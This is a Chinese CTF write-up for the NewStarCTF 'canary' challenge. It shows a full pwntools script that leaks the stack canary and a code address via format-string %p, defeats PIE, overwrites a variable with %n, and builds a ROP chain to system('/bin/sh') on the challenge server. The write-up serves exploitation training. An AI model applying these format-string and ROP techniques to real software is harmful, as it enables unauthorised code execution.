[NewStarCTF 公开赛赛道]canary
我们可以先checksec一下:
可以看到,所有的东西都是开了的,非常的离谱,这道题给了源码,我们去看看源码:
上面的注释是我加的,题目本生是没有的,思路很明显的,我们先要泄露出canary的值,再找一条指令,泄露出这条指令的动态加载地址,因为题目是开启了PIE的,用动态加载的地址,减去偏移地址(IDA确定偏移地址),就能找到动态加载的基地址,然后就可以解决money变量的真实地址问题,就可以使用%n向money变量写入值,最后一个read函数就可以溢出到system函数了,我们也可以看到,”/bin/sh”在函数中定义了,在此之前,我们要确定输入的变量在栈上的位置:
可以确定,是第六个参数,我们去寻找一条指令,泄露出它的动态加载地址:
我选择的指令是xor ebp,ebp,%9$p就可以泄露它的地址,因为它在canary值前面两个,11-2=9:
最后三位是不变的,可以确定是对的,payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context.log_level = 'debug' sh = remote("node5.buuoj.cn" ,25350 ) sh.recvuntil("Now answer me, will you v me 50" ) payload = "%11$p-%9$p" sh.sendline(payload) sh.recvline() canary = sh.recvuntil("-" )[0 :18 ] xor_ebp_ebp_address = sh.recv(14 ) canary = int (canary,16 ) xor_ebp_ebp_address = int (xor_ebp_ebp_address,16 ) libc_base = xor_ebp_ebp_address - 0x840 money_address = libc_base + 0x20206c print ("canary----->" +hex (canary))print ("xor_ebp_ebp_address------>" +hex (xor_ebp_ebp_address))print ("libc_base--------->" + hex (libc_base))sh.recvuntil('What do you want to say to the canary' ) payload = "%999c%8$n" + "A" *(0x7 ) + p64(money_address) sh.sendline(payload) sh.recv() system_address = libc_base + 0x9DC bin_sh_address = libc_base + 0x202020 pop_rdi_ret_address = libc_base + 0xb33 payload = "A" *(0x30 -0x8 ) + p64(canary) + "A" *(0x8 ) + p64(pop_rdi_ret_address) + p64(bin_sh_address) + p64(system_address) sh.sendline(payload) sh.interactive()
说一下,自己在写payload的时候踩得三个坑:
(1)xor_ebp_ebp_address = sh.recv(14)不要用xor_ebp_ebp_address = sh.recv()[0:14],这样会导致,sh.recvuntil(‘What do you want to say to the canary’)无法执行,因为sh.recv()会接收所有的值,这句话会被一并接收,导致程序无法执行
(2)payload = “%999c%8$n” + “A”*(0x7) + p64(money_address) 不能写成payload = p64(money_address) + “”%999c%6$n”,不知道是为啥,理论是可以正着写的,可是只要倒着写脚本才能打通
(3)最后发送的payload在返回前【”A”*(0x8) + p64(pop_rdi_ret_address)这两之间】不要加ret指令,当时想的是栈对齐,结果加上反而打不通,不太清楚,希望懂的师傅解答